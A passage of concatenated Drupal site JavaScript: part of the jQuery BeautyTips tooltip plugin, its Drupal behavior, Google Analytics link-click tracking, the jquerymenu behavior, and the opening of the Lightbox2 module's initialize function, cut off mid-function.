var $text=$('<div class="bt-content"></div>').append(content).css({padding:opts.padding,position:'absolute',width:(opts.shrinkToFit?'auto':opts.width),zIndex:opts.textzIndex,left:shadowShiftX,top:shadowShiftY}).css(opts.cssStyles);var $box=$('<div class="bt-wrapper"></div>').append($text).addClass(opts.cssClass).css({position:'absolute',width:opts.width,zIndex:opts.wrapperzIndex,visibility:'hidden'}).appendTo(offsetParent);if(jQuery.fn.bgiframe){$text.bgiframe();$box.bgiframe();}
$(this).data('bt-box',$box);var scrollTop=numb($(document).scrollTop());var scrollLeft=numb($(document).scrollLeft());var docWidth=numb($(window).width());var docHeight=numb($(window).height());var winRight=scrollLeft+docWidth;var winBottom=scrollTop+docHeight;var space=new Object();var thisOffset=$(this).offset();space.top=thisOffset.top-scrollTop;space.bottom=docHeight-((thisOffset+height)-scrollTop);space.left=thisOffset.left-scrollLeft;space.right=docWidth-((thisOffset.left+width)-scrollLeft);var textOutHeight=numb($text.outerHeight());var textOutWidth=numb($text.btOuterWidth());if(opts.positions.constructor==String){opts.positions=opts.positions.replace(/ /,'').split(',');}
if(opts.positions[0]=='most'){var position='top';for(var pig in space){position=space[pig]>space[position]?pig:position;}}
else{for(var x in opts.positions){var position=opts.positions[x];if((position=='left'||position=='right')&&space[position]>textOutWidth+opts.spikeLength){break;}
else if((position=='top'||position=='bottom')&&space[position]>textOutHeight+opts.spikeLength){break;}}}
var horiz=left+((width-textOutWidth)*.5);var vert=top+((height-textOutHeight)*.5);var points=new Array();var textTop,textLeft,textRight,textBottom,textTopSpace,textBottomSpace,textLeftSpace,textRightSpace,crossPoint,textCenter,spikePoint;switch(position){case'top':$text.css('margin-bottom',opts.spikeLength+'px');$box.css({top:(top-$text.outerHeight(true))+opts.overlap,left:horiz});textRightSpace=(winRight-opts.windowMargin)-($text.offset().left+$text.btOuterWidth(true));var xShift=shadowShiftX;if(textRightSpace<0){$box.css('left',(numb($box.css('left'))+textRightSpace)+'px');xShift-=textRightSpace;}
textLeftSpace=($text.offset().left+numb($text.css('margin-left')))-(scrollLeft+opts.windowMargin);if(textLeftSpace<0){$box.css('left',(numb($box.css('left'))-textLeftSpace)+'px');xShift+=textLeftSpace;}
textTop=$text.btPosition().top+numb($text.css('margin-top'));textLeft=$text.btPosition().left+numb($text.css('margin-left'));textRight=textLeft+$text.btOuterWidth();textBottom=textTop+$text.outerHeight();textCenter={x:textLeft+($text.btOuterWidth()*opts.centerPointX),y:textTop+($text.outerHeight()*opts.centerPointY)};points[points.length]=spikePoint={y:textBottom+opts.spikeLength,x:((textRight-textLeft)*.5)+xShift,type:'spike'};crossPoint=findIntersectX(spikePoint.x,spikePoint.y,textCenter.x,textCenter.y,textBottom);crossPoint.x=crossPoint.x<textLeft+opts.spikeGirth/2+opts.cornerRadius?textLeft+opts.spikeGirth/2+opts.cornerRadius:crossPoint.x;crossPoint.x=crossPoint.x>(textRight-opts.spikeGirth/2)-opts.cornerRadius?(textRight-opts.spikeGirth/2)-opts.cornerRadius:crossPoint.x;points[points.length]={x:crossPoint.x-(opts.spikeGirth/2),y:textBottom,type:'join'};points[points.length]={x:textLeft,y:textBottom,type:'corner'};points[points.length]={x:textLeft,y:textTop,type:'corner'};points[points.length]={x:textRight,y:textTop,type:'corner'};points[points.length]={x:textRight,y:textBottom,type:'corner'};points[points.length]={x:crossPoint.x+(opts.spikeGirth/2),y:textBottom,type:'join'};points[points.length]=spikePoint;break;case'left':$text.css('margin-right',opts.spikeLength+'px');$box.css({top:vert+'px',left:((left-$text.btOuterWidth(true))+opts.overlap)+'px'});textBottomSpace=(winBottom-opts.windowMargin)-($text.offset().top+$text.outerHeight(true));var yShift=shadowShiftY;if(textBottomSpace<0){$box.css('top',(numb($box.css('top'))+textBottomSpace)+'px');yShift-=textBottomSpace;}
textTopSpace=($text.offset().top+numb($text.css('margin-top')))-(scrollTop+opts.windowMargin);if(textTopSpace<0){$box.css('top',(numb($box.css('top'))-textTopSpace)+'px');yShift+=textTopSpace;}
textTop=$text.btPosition().top+numb($text.css('margin-top'));textLeft=$text.btPosition().left+numb($text.css('margin-left'));textRight=textLeft+$text.btOuterWidth();textBottom=textTop+$text.outerHeight();textCenter={x:textLeft+($text.btOuterWidth()*opts.centerPointX),y:textTop+($text.outerHeight()*opts.centerPointY)};points[points.length]=spikePoint={x:textRight+opts.spikeLength,y:((textBottom-textTop)*.5)+yShift,type:'spike'};crossPoint=findIntersectY(spikePoint.x,spikePoint.y,textCenter.x,textCenter.y,textRight);crossPoint.y=crossPoint.y<textTop+opts.spikeGirth/2+opts.cornerRadius?textTop+opts.spikeGirth/2+opts.cornerRadius:crossPoint.y;crossPoint.y=crossPoint.y>(textBottom-opts.spikeGirth/2)-opts.cornerRadius?(textBottom-opts.spikeGirth/2)-opts.cornerRadius:crossPoint.y;points[points.length]={x:textRight,y:crossPoint.y+opts.spikeGirth/2,type:'join'};points[points.length]={x:textRight,y:textBottom,type:'corner'};points[points.length]={x:textLeft,y:textBottom,type:'corner'};points[points.length]={x:textLeft,y:textTop,type:'corner'};points[points.length]={x:textRight,y:textTop,type:'corner'};points[points.length]={x:textRight,y:crossPoint.y-opts.spikeGirth/2,type:'join'};points[points.length]=spikePoint;break;case'bottom':$text.css('margin-top',opts.spikeLength+'px');$box.css({top:(top+height)-opts.overlap,left:horiz});textRightSpace=(winRight-opts.windowMargin)-($text.offset().left+$text.btOuterWidth(true));var xShift=shadowShiftX;if(textRightSpace<0){$box.css('left',(numb($box.css('left'))+textRightSpace)+'px');xShift-=textRightSpace;}
textLeftSpace=($text.offset().left+numb($text.css('margin-left')))-(scrollLeft+opts.windowMargin);if(textLeftSpace<0){$box.css('left',(numb($box.css('left'))-textLeftSpace)+'px');xShift+=textLeftSpace;}
textTop=$text.btPosition().top+numb($text.css('margin-top'));textLeft=$text.btPosition().left+numb($text.css('margin-left'));textRight=textLeft+$text.btOuterWidth();textBottom=textTop+$text.outerHeight();textCenter={x:textLeft+($text.btOuterWidth()*opts.centerPointX),y:textTop+($text.outerHeight()*opts.centerPointY)};points[points.length]=spikePoint={x:((textRight-textLeft)*.5)+xShift,y:shadowShiftY,type:'spike'};crossPoint=findIntersectX(spikePoint.x,spikePoint.y,textCenter.x,textCenter.y,textTop);crossPoint.x=crossPoint.x<textLeft+opts.spikeGirth/2+opts.cornerRadius?textLeft+opts.spikeGirth/2+opts.cornerRadius:crossPoint.x;crossPoint.x=crossPoint.x>(textRight-opts.spikeGirth/2)-opts.cornerRadius?(textRight-opts.spikeGirth/2)-opts.cornerRadius:crossPoint.x;points[points.length]={x:crossPoint.x+opts.spikeGirth/2,y:textTop,type:'join'};points[points.length]={x:textRight,y:textTop,type:'corner'};points[points.length]={x:textRight,y:textBottom,type:'corner'};points[points.length]={x:textLeft,y:textBottom,type:'corner'};points[points.length]={x:textLeft,y:textTop,type:'corner'};points[points.length]={x:crossPoint.x-(opts.spikeGirth/2),y:textTop,type:'join'};points[points.length]=spikePoint;break;case'right':$text.css('margin-left',(opts.spikeLength+'px'));$box.css({top:vert+'px',left:((left+width)-opts.overlap)+'px'});textBottomSpace=(winBottom-opts.windowMargin)-($text.offset().top+$text.outerHeight(true));var yShift=shadowShiftY;if(textBottomSpace<0){$box.css('top',(numb($box.css('top'))+textBottomSpace)+'px');yShift-=textBottomSpace;}
textTopSpace=($text.offset().top+numb($text.css('margin-top')))-(scrollTop+opts.windowMargin);if(textTopSpace<0){$box.css('top',(numb($box.css('top'))-textTopSpace)+'px');yShift+=textTopSpace;}
textTop=$text.btPosition().top+numb($text.css('margin-top'));textLeft=$text.btPosition().left+numb($text.css('margin-left'));textRight=textLeft+$text.btOuterWidth();textBottom=textTop+$text.outerHeight();textCenter={x:textLeft+($text.btOuterWidth()*opts.centerPointX),y:textTop+($text.outerHeight()*opts.centerPointY)};points[points.length]=spikePoint={x:shadowShiftX,y:((textBottom-textTop)*.5)+yShift,type:'spike'};crossPoint=findIntersectY(spikePoint.x,spikePoint.y,textCenter.x,textCenter.y,textLeft);crossPoint.y=crossPoint.y<textTop+opts.spikeGirth/2+opts.cornerRadius?textTop+opts.spikeGirth/2+opts.cornerRadius:crossPoint.y;crossPoint.y=crossPoint.y>(textBottom-opts.spikeGirth/2)-opts.cornerRadius?(textBottom-opts.spikeGirth/2)-opts.cornerRadius:crossPoint.y;points[points.length]={x:textLeft,y:crossPoint.y-opts.spikeGirth/2,type:'join'};points[points.length]={x:textLeft,y:textTop,type:'corner'};points[points.length]={x:textRight,y:textTop,type:'corner'};points[points.length]={x:textRight,y:textBottom,type:'corner'};points[points.length]={x:textLeft,y:textBottom,type:'corner'};points[points.length]={x:textLeft,y:crossPoint.y+opts.spikeGirth/2,type:'join'};points[points.length]=spikePoint;break;}
var canvas=document.createElement('canvas');$(canvas).attr('width',(numb($text.btOuterWidth(true))+opts.strokeWidth*2+shadowMarginX)).attr('height',(numb($text.outerHeight(true))+opts.strokeWidth*2+shadowMarginY)).appendTo($box).css({position:'absolute',zIndex:opts.boxzIndex});if(typeof G_vmlCanvasManager!='undefined'){canvas=G_vmlCanvasManager.initElement(canvas);}
if(opts.cornerRadius>0){var newPoints=new Array();var newPoint;for(var i=0;i<points.length;i++){if(points[i].type=='corner'){newPoint=betweenPoint(points[i],points[(i-1)%points.length],opts.cornerRadius);newPoint.type='arcStart';newPoints[newPoints.length]=newPoint;newPoints[newPoints.length]=points[i];newPoint=betweenPoint(points[i],points[(i+1)%points.length],opts.cornerRadius);newPoint.type='arcEnd';newPoints[newPoints.length]=newPoint;}
else{newPoints[newPoints.length]=points[i];}}
points=newPoints;}
var ctx=canvas.getContext("2d");if(opts.shadow&&opts.shadowOverlap!==true){var shadowOverlap=numb(opts.shadowOverlap);switch(position){case'top':if(opts.shadowOffsetX+opts.shadowBlur-shadowOverlap>0){$box.css('top',(numb($box.css('top'))-(opts.shadowOffsetX+opts.shadowBlur-shadowOverlap)));}
break;case'right':if(shadowShiftX-shadowOverlap>0){$box.css('left',(numb($box.css('left'))+shadowShiftX-shadowOverlap));}
break;case'bottom':if(shadowShiftY-shadowOverlap>0){$box.css('top',(numb($box.css('top'))+shadowShiftY-shadowOverlap));}
break;case'left':if(opts.shadowOffsetY+opts.shadowBlur-shadowOverlap>0){$box.css('left',(numb($box.css('left'))-(opts.shadowOffsetY+opts.shadowBlur-shadowOverlap)));}
break;}}
drawIt.apply(ctx,[points],opts.strokeWidth);ctx.fillStyle=opts.fill;if(opts.shadow){ctx.shadowOffsetX=opts.shadowOffsetX;ctx.shadowOffsetY=opts.shadowOffsetY;ctx.shadowBlur=opts.shadowBlur;ctx.shadowColor=opts.shadowColor;}
ctx.closePath();ctx.fill();if(opts.strokeWidth>0){ctx.shadowColor='rgba(0, 0, 0, 0)';ctx.lineWidth=opts.strokeWidth;ctx.strokeStyle=opts.strokeStyle;ctx.beginPath();drawIt.apply(ctx,[points],opts.strokeWidth);ctx.closePath();ctx.stroke();}
opts.preShow.apply(this,[$box[0]]);$box.css({display:'none',visibility:'visible'});opts.showTip.apply(this,[$box[0]]);if(opts.overlay){var overlay=$('<div class="bt-overlay"></div>').css({position:'absolute',backgroundColor:'blue',top:top,left:left,width:width,height:height,opacity:'.2'}).appendTo(offsetParent);$(this).data('overlay',overlay);}
if((opts.ajaxPath!=null&&opts.ajaxCache==false)||ajaxTimeout){content=false;}
if(opts.clickAnywhereToClose){jQuery.bt.vars.clickAnywhereStack.push(this);$(document).click(jQuery.bt.docClick);}
if(opts.closeWhenOthersOpen){jQuery.bt.vars.closeWhenOpenStack.push(this);}
opts.postShow.apply(this,[$box[0]]);};this.btOff=function(){var box=$(this).data('bt-box');if(typeof box=='undefined'){return;}
opts.preHide.apply(this,[box]);var i=this;i.btCleanup=function(){var box=$(i).data('bt-box');var contentOrig=$(i).data('bt-content-orig');var overlay=$(i).data('bt-overlay');if(typeof box=='object'){$(box).remove();$(i).removeData('bt-box');}
if(typeof contentOrig=='object'){var clones=$(contentOrig.original).data('bt-clones');$(contentOrig).data('bt-clones',arrayRemove(clones,contentOrig.clone));}
if(typeof overlay=='object'){$(overlay).remove();$(i).removeData('bt-overlay');}
jQuery.bt.vars.clickAnywhereStack=arrayRemove(jQuery.bt.vars.clickAnywhereStack,i);jQuery.bt.vars.closeWhenOpenStack=arrayRemove(jQuery.bt.vars.closeWhenOpenStack,i);$(i).removeClass('bt-active '+opts.activeClass);opts.postHide.apply(i);}
opts.hideTip.apply(this,[box,i.btCleanup]);};var refresh=this.btRefresh=function(){this.btOff();this.btOn();};});function drawIt(points,strokeWidth){this.moveTo(points[0].x,points[0].y);for(i=1;i<points.length;i++){if(points[i-1].type=='arcStart'){this.quadraticCurveTo(round5(points[i].x,strokeWidth),round5(points[i].y,strokeWidth),round5(points[(i+1)%points.length].x,strokeWidth),round5(points[(i+1)%points.length].y,strokeWidth));i++;}
else{this.lineTo(round5(points[i].x,strokeWidth),round5(points[i].y,strokeWidth));}}};function round5(num,strokeWidth){var ret;strokeWidth=numb(strokeWidth);if(strokeWidth%2){ret=num;}
else{ret=Math.round(num-.5)+.5;}
return ret;};function numb(num){return parseInt(num)||0;};function arrayRemove(arr,elem){var x,newArr=new Array();for(x in arr){if(arr[x]!=elem){newArr.push(arr[x]);}}
return newArr;};function canvasSupport(){var canvas_compatible=false;try{canvas_compatible=!!(document.createElement('canvas').getContext('2d'));}catch(e){canvas_compatible=!!(document.createElement('canvas').getContext);}
return canvas_compatible;}
function shadowSupport(){try{var userAgent=navigator.userAgent.toLowerCase();if(/webkit/.test(userAgent)){return true;}
else if(/gecko|mozilla/.test(userAgent)&&parseFloat(userAgent.match(/firefox\/(\d+(?:\.\d+)+)/)[1])>=3.1){return true;}}
catch(err){}
return false;}
function betweenPoint(point1,point2,dist){var y,x;if(point1.x==point2.x){y=point1.y<point2.y?point1.y+dist:point1.y-dist;return{x:point1.x,y:y};}
else if(point1.y==point2.y){x=point1.x<point2.x?point1.x+dist:point1.x-dist;return{x:x,y:point1.y};}};function centerPoint(arcStart,corner,arcEnd){var x=corner.x==arcStart.x?arcEnd.x:arcStart.x;var y=corner.y==arcStart.y?arcEnd.y:arcStart.y;var startAngle,endAngle;if(arcStart.x<arcEnd.x){if(arcStart.y>arcEnd.y){startAngle=(Math.PI/180)*180;endAngle=(Math.PI/180)*90;}
else{startAngle=(Math.PI/180)*90;endAngle=0;}}
else{if(arcStart.y>arcEnd.y){startAngle=(Math.PI/180)*270;endAngle=(Math.PI/180)*180;}
else{startAngle=0;endAngle=(Math.PI/180)*270;}}
return{x:x,y:y,type:'center',startAngle:startAngle,endAngle:endAngle};};function findIntersect(r1x1,r1y1,r1x2,r1y2,r2x1,r2y1,r2x2,r2y2){if(r2x1==r2x2){return findIntersectY(r1x1,r1y1,r1x2,r1y2,r2x1);}
if(r2y1==r2y2){return findIntersectX(r1x1,r1y1,r1x2,r1y2,r2y1);}
var r1m=(r1y1-r1y2)/(r1x1-r1x2);var r1b=r1y1-(r1m*r1x1);var r2m=(r2y1-r2y2)/(r2x1-r2x2);var r2b=r2y1-(r2m*r2x1);var x=(r2b-r1b)/(r1m-r2m);var y=r1m*x+r1b;return{x:x,y:y};};function findIntersectY(r1x1,r1y1,r1x2,r1y2,x){if(r1y1==r1y2){return{x:x,y:r1y1};}
var r1m=(r1y1-r1y2)/(r1x1-r1x2);var r1b=r1y1-(r1m*r1x1);var y=r1m*x+r1b;return{x:x,y:y};};function findIntersectX(r1x1,r1y1,r1x2,r1y2,y){if(r1x1==r1x2){return{x:r1x1,y:y};}
var r1m=(r1y1-r1y2)/(r1x1-r1x2);var r1b=r1y1-(r1m*r1x1);var x=(y-r1b)/r1m;return{x:x,y:y};};};jQuery.fn.btPosition=function(){function num(elem,prop){return elem[0]&&parseInt(jQuery.curCSS(elem[0],prop,true),10)||0;};var left=0,top=0,results;if(this[0]){var offsetParent=this.offsetParent(),offset=this.offset(),parentOffset=/^body|html$/i.test(offsetParent[0].tagName)?{top:0,left:0}:offsetParent.offset();offset.top-=num(this,'marginTop');offset.left-=num(this,'marginLeft');parentOffset.top+=num(offsetParent,'borderTopWidth');parentOffset.left+=num(offsetParent,'borderLeftWidth');results={top:offset.top-parentOffset.top,left:offset.left-parentOffset.left};}
return results;};jQuery.fn.btOuterWidth=function(margin){function num(elem,prop){return elem[0]&&parseInt(jQuery.curCSS(elem[0],prop,true),10)||0;};return this["innerWidth"]()
+num(this,"borderLeftWidth")
+num(this,"borderRightWidth")
+(margin?num(this,"marginLeft")
+num(this,"marginRight"):0);};jQuery.fn.btOn=function(){return this.each(function(index){if(jQuery.isFunction(this.btOn)){this.btOn();}});};jQuery.fn.btOff=function(){return this.each(function(index){if(jQuery.isFunction(this.btOff)){this.btOff();}});};jQuery.bt.vars={clickAnywhereStack:[],closeWhenOpenStack:[]};jQuery.bt.docClick=function(e){if(!e){var e=window.event;};if(!$(e.target).parents().andSelf().filter('.bt-wrapper, .bt-active').length&&jQuery.bt.vars.clickAnywhereStack.length){$(jQuery.bt.vars.clickAnywhereStack).btOff();$(document).unbind('click',jQuery.bt.docClick);}};jQuery.bt.defaults={trigger:'hover',clickAnywhereToClose:true,closeWhenOthersOpen:false,shrinkToFit:false,width:'200px',padding:'10px',spikeGirth:10,spikeLength:15,overlap:0,overlay:false,killTitle:true,textzIndex:9999,boxzIndex:9998,wrapperzIndex:9997,offsetParent:null,positions:['most'],fill:"rgb(255, 255, 102)",windowMargin:10,strokeWidth:1,strokeStyle:"#000",cornerRadius:5,centerPointX:.5,centerPointY:.5,shadow:false,shadowOffsetX:2,shadowOffsetY:2,shadowBlur:3,shadowColor:"#000",shadowOverlap:false,noShadowOpts:{strokeStyle:'#999'},cssClass:'',cssStyles:{},activeClass:'bt-active',contentSelector:"$(this).attr('title')",ajaxPath:null,ajaxError:'<strong>ERROR:</strong> <em>%error</em>',ajaxLoading:'<blink>Loading...</blink>',ajaxData:{},ajaxType:'GET',ajaxCache:true,ajaxOpts:{},preBuild:function(){},preShow:function(box){},showTip:function(box){$(box).show();},postShow:function(box){},preHide:function(box){},hideTip:function(box,callback){$(box).hide();callback();},postHide:function(){},hoverIntentOpts:{interval:300,timeout:500}};jQuery.bt.options={};})(jQuery);;
Drupal.behaviors.beautytips=function(){jQuery.bt.options.closeWhenOthersOpen=true;beautytips=Drupal.settings.beautytips;for(var key in beautytips){var btOptions=new Array();if(beautytips[key]["list"]){for(var k=0;k<beautytips[key]["list"].length;k++){btOptions[beautytips[key]["list"][k]]=beautytips[key][beautytips[key]["list"][k]]}}if(beautytips[key]["cssSelect"]){if(beautytips[key]["animate"]){btOptions=beautytipsAddAnimations(beautytips[key]["animate"],btOptions)}if(beautytips[key]["contentSelector"]&&beautytips[key]["preEval"]){$(beautytips[key]["cssSelect"]).each(function(){if(!beautytipsProcessed(this,false)){eval(beautytips[key]["contentSelector"])}})}if(beautytips[key]["text"]){$(beautytips[key]["cssSelect"]).each(function(){if(!beautytipsProcessed(this)){$(this).bt(beautytips[key]["text"],btOptions)}})}else{if(beautytips[key]["ajaxPath"]){$(beautytips[key]["cssSelect"]).each(function(){if(!beautytipsProcessed(this)){if(beautytips[key]["ajaxDisableLink"]){$(this).click(function(event){event.preventdefault()})}$(this).bt(btOptions)}})}else{$(beautytips[key]["cssSelect"]).each(function(){if(!beautytipsProcessed(this)){$(this).bt(btOptions)}})}}$(beautytips[key]["cssSelect"]).addClass("beautytips-processed")}btOptions.length=0}function beautytipsProcessed(element,addClass){if($(element).hasClass("beautytips-module-processed")){return true}if(addClass!=false){$(element).addClass("beautytips-module-processed")}return false}function beautytipsAddAnimations(animations,btOptions){switch(animations.on){case"none":break;case"fadeIn":btOptions.showTip=function(box){$(box).fadeIn(500)};break;case"slideIn":break}switch(animations.off){case"none":break;case"fadeOut":btOptions.hideTip=function(box,callback){$(box).animate({opacity:0},500,callback)};break;case"slideOut":btOptions.hideTip=function(box,callback){var width=$("body").width();$(box).animate({left:"+="+width+"px"},"slow",callback)};break}return btOptions}};;

$(document).ready(function() {

  // Attach onclick event to document only and catch clicks on all elements.
  $(document.body).click(function(event) {
    // Catch only the first parent link of a clicked element.
    $(event.target).parents("a:first,area:first").andSelf().filter("a,area").each(function() {

      var ga = Drupal.settings.googleanalytics;
      // Expression to check for absolute internal links.
      var isInternal = new RegExp("^(https?):\/\/" + window.location.host, "i");
      // Expression to check for special links like gotwo.module /go/* links.
      var isInternalSpecial = new RegExp("(\/go\/.*)$", "i");
      // Expression to check for download links.
      var isDownload = new RegExp("\\.(" + ga.trackDownloadExtensions + ")$", "i");

      // Is the clicked URL internal?
      if (isInternal.test(this.href)) {
        // Is download tracking activated and the file extension configured for download tracking?
        if (ga.trackDownload && isDownload.test(this.href)) {
          // Download link clicked.
          var extension = isDownload.exec(this.href);
          _gaq.push(["_trackEvent", "Downloads", extension[1].toUpperCase(), this.href.replace(isInternal, '')]);
        }
        else if (isInternalSpecial.test(this.href)) {
          // Keep the internal URL for Google Analytics website overlay intact.
          _gaq.push(["_trackPageview", this.href.replace(isInternal, '')]);
        }
      }
      else {
        if (ga.trackMailto && $(this).is("a[href^=mailto:],area[href^=mailto:]")) {
          // Mailto link clicked.
          _gaq.push(["_trackEvent", "Mails", "Click", this.href.substring(7)]);
        }
        else if (ga.trackOutgoing && this.href) {
          if (ga.trackOutboundAsPageview) {
            // Track all external links as page views after URL cleanup.
            // Currently required, if click should be tracked as goal.
            _gaq.push(["_trackPageview", '/outbound/' + this.href.replace(/^(https?|ftp|news|nntp|telnet|irc|ssh|sftp|webcal):\/\//i, '').split('/').join('--')]);
          }
          else {
            // External link clicked.
            _gaq.push(["_trackEvent", "Outbound links", "Click", this.href]);
          }
        }
      }
    });
  });
});
;
// $Id: jquerymenu.js,v 1.7 2010/05/05 07:50:55 aaronhawkins Exp $
Drupal.behaviors.jquerymenu = function(context) {
  jqm_showit = function() {
    $(this).children('.jqm_link_edit').fadeIn();
  }
  jqm_hideit = function() {
    $(this).children('.jqm_link_edit').fadeOut();
  }
  $('ul.jquerymenu li').hover(jqm_showit, jqm_hideit);

  $('ul.jquerymenu:not(.jquerymenu-processed)', context).addClass('jquerymenu-processed').each(function(){
    $(this).find("li.parent span.parent").click(function(){
      momma = $(this).parent();
      if ($(momma).hasClass('closed')){
        $($(this).siblings('ul').children()).hide().fadeIn('3000');
        $(momma).children('ul').slideDown('700');
        $(momma).removeClass('closed').addClass('open');
        $(this).removeClass('closed').addClass('open');
      }
      else{
        $(momma).children('ul').slideUp('700');
        $($(this).siblings('ul').children()).fadeOut('3000');
        $(momma).removeClass('open').addClass('closed');
        $(this).removeClass('open').addClass('closed');
      }
    });
  });
};

/**
 * jQuery Lightbox
 * @author
 *   Stella Power, <http://drupal.org/user/66894>
 *
 * Based on Lightbox v2.03.3 by Lokesh Dhakar
 * <http://www.huddletogether.com/projects/lightbox2/>
 * Also partially based on the jQuery Lightbox by Warren Krewenki
 *   <http://warren.mesozen.com>
 *
 * Permission has been granted to Mark Ashmead & other Drupal Lightbox2 module
 * maintainers to distribute this file via Drupal.org
 * Under GPL license.
 *
 * Slideshow, iframe and video functionality added by Stella Power.
 */

var Lightbox = {
  auto_modal : false,
  overlayOpacity : 0.8, // Controls transparency of shadow overlay.
  overlayColor : '000', // Controls colour of shadow overlay.
  disableCloseClick : true,
  // Controls the order of the lightbox resizing animation sequence.
  resizeSequence: 0, // 0: simultaneous, 1: width then height, 2: height then width.
  resizeSpeed: 'normal', // Controls the speed of the lightbox resizing animation.
  fadeInSpeed: 'normal', // Controls the speed of the image appearance.
  slideDownSpeed: 'slow', // Controls the speed of the image details appearance.
  minWidth: 240,
  borderSize : 10,
  boxColor : 'fff',
  fontColor : '000',
  topPosition : '',
  infoHeight: 20,
  alternative_layout : false,
  imageArray : [],
  imageNum : null,
  total : 0,
  activeImage : null,
  inprogress : false,
  disableResize : false,
  disableZoom : false,
  isZoomedIn : false,
  rtl : false,
  loopItems : false,
  keysClose : ['c', 'x', 27],
  keysPrevious : ['p', 37],
  keysNext : ['n', 39],
  keysZoom : ['z'],
  keysPlayPause : [32],

  // Slideshow options.
  slideInterval : 5000, // In milliseconds.
  showPlayPause : true,
  autoStart : true,
  autoExit : true,
  pauseOnNextClick : false, // True to pause the slideshow when the "Next" button is clicked.
  pauseOnPrevClick : true, // True to pause the slideshow when the "Prev" button is clicked.
  slideIdArray : [],
  slideIdCount : 0,
  isSlideshow : false,
  isPaused : false,
  loopSlides : false,

  // Iframe options.
  isLightframe : false,
  iframe_width : 600,
  iframe_height : 400,
  iframe_border : 1,

  // Video and modal options.
  enableVideo : false,
  flvPlayer : '/flvplayer.swf',
  flvFlashvars : '',
  isModal : false,
  isVideo : false,
  videoId : false,
  modalWidth : 400,
  modalHeight : 400,
  modalHTML : null,


  // initialize()
  // Constructor runs on completion of the DOM loading.
  // The function inserts html at the bottom of the page which is used
  // to display the shadow overlay and the image container.
  initialize: function() {

    var s = Drupal.settings.lightbox2;
    Lightbox.overlayOpacity = s.overlay_opacity;
    Lightbox.overlayColor = s.overlay_color;
    Lightbox.disableCloseClick = s.disable_close_click;
    Lightbox.resizeSequence = s.resize_sequence;
    Lightbox.resizeSpeed = s.resize_speed;
    Lightbox.fadeInSpeed = s.fade_in_speed;
    Lightbox.slideDownSpeed = s.slide_down_speed;
    Lightbox.borderSize = s.border_size;
    Lightbox.boxColor = s.box_color;
    Lightbox.fontColor = s.font_color;
    Lightbox.topPosition = s.top_position;
    Lightbox.rtl = s.rtl;
    Lightbox.loopItems = s.loop_items;
    Lightbox.keysClose = s.keys_close.split(" ");
    Lightbox.keysPrevious = s.keys_previous.split(" ");
    Lightbox.keysNext = s.keys_next.split(" ");
    Lightbox.keysZoom = s.keys_zoom.split(" ");
    Lightbox.keysPlayPause = s.keys_play_pause.split(" ");
    Lightbox.disableResize = s.disable_resize;
    Lightbox.disableZoom = s.disable_zoom;
    Lightbox.slideInterval = s.slideshow_interval;
    Lightbox.showPlayPause = s.show_play_pause;
    Lightbox.showCaption = s.show_caption;
    Lightbox.autoStart = s.slideshow_automatic_start;
    Lightbox.autoExit = s.slideshow_automatic_exit;
    Lightbox.pauseOnNextClick = s.pause_on_next_click;
    Lightbox.pauseOnPrevClick = s.pause_on_previous_click;
    Lightbox.loopSlides = s.loop_slides;
    Lightbox.alternative_layout = s.use_alt_layout;
    Lightbox.iframe_width = s.iframe_width;
    Lightbox.iframe_height = s.iframe_height;
    Lightbox.iframe_border = s.iframe_border;
    Lightbox.enableVideo = s.enable_video;
    if (s.enable_video) {
      Lightbox.flvPlayer = s.flvPlayer;
      Lightbox.flvFlashvars = s.flvFlashvars;
    }

    // Make the lightbox divs.
    var layout_class = (s.use_alt_layout ? 'lightbox2-alt-layout' : 'lightbox2-orig-layout');
    var output = '<div id="lightbox2-overlay" style="display: none;"></div>\
      <div id="lightbox" style="display: none;" class="' + layout_class + '">\
        <div id="outerImageContainer"></div>\
        <div id="imageDataContainer" class="clearfix">\
          <div id="imageData"></div>\
        </div>\
      </div>';
    var loading = '<div id="loading"><a href="#" id="loadingLink"></a></div>';
    var modal = '<div id="modalContainer" style="display: none;"></div>';
    var frame = '<div id="frameContainer" style="display: none;"></div>';
    var imageContainer = '<div id="imageContainer" style="display: none;"></div>';
    var details = '<div id="imageDetails"></div>';
    var bottomNav = '<div id="bottomNav"></div>';
    var image = '<img id="lightboxImage" alt="" />';
    var hoverNav = '<div id="hoverNav"><a id="prevLink" href="#"></a><a id="nextLink" href="#"></a></div>';
    var frameNav = '<div id="frameHoverNav"><a id="framePrevLink" href="#"></a><a id="frameNextLink" href="#"></a></div>';
    var hoverNav = '<div id="hoverNav"><a id="prevLink" title="' + Drupal.t('Previous') + '" href="#"></a><a id="nextLink" title="' + Drupal.t('Next') + '" href="#"></a></div>';
    var frameNav = '<div id="frameHoverNav"><a id="framePrevLink" title="' + Drupal.t('Previous') + '" href="#"></a><a id="frameNextLink" title="' + Drupal.t('Next') + '" href="#"></a></div>';
    var caption = '<span id="caption"></span>';
    var numberDisplay = '<span id="numberDisplay"></span>';
    var close = '<a id="bottomNavClose" title="' + Drupal.t('Close') + '" href="#"></a>';
    var zoom = '<a id="bottomNavZoom" href="#"></a>';
    var zoomOut = '<a id="bottomNavZoomOut" href="#"></a>';
    var pause = '<a id="lightshowPause" title="' + Drupal.t('Pause Slideshow') + '" href="#" style="display: none;"></a>';
    var play = '<a id="lightshowPlay" title="' + Drupal.t('Play Slideshow') + '" href="#" style="display: none;"></a>';

    $("body").append(output);
    $('#outerImageContainer').append(modal + frame + imageContainer + loading);
    if (!s.use_alt_layout) {
      $('#imageContainer').append(image + hoverNav);
      $('#imageData').append(details + bottomNav);
      $('#imageDetails').append(caption + numberDisplay);
      $('#bottomNav').append(frameNav + close + zoom + zoomOut + pause + play);
    }
    else {
      $('#outerImageContainer').append(bottomNav);
      $('#imageContainer').append(image);
      $('#bottomNav').append(close + zoom + zoomOut);
      $('#imageData').append(hoverNav + details);
      $('#imageDetails').append(caption + numberDisplay + pause + play);
    }

    // Setup onclick handlers.
    if (Lightbox.disableCloseClick) {
      $('#lightbox2-overlay').click(function() { Lightbox.end(); return false; } ).hide();
    }
    $('#loadingLink, #bottomNavClose').click(function() { Lightbox.end('forceClose'); return false; } );
    $('#prevLink, #framePrevLink').click(function() { Lightbox.changeData(Lightbox.activeImage - 1); return false; } );
    $('#nextLink, #frameNextLink').click(function() { Lightbox.changeData(Lightbox.activeImage + 1); return false; } );
    $('#bottomNavZoom').click(function() { Lightbox.changeData(Lightbox.activeImage, true); return false; } );
    $('#bottomNavZoomOut').click(function() { Lightbox.changeData(Lightbox.activeImage, false); return false; } );
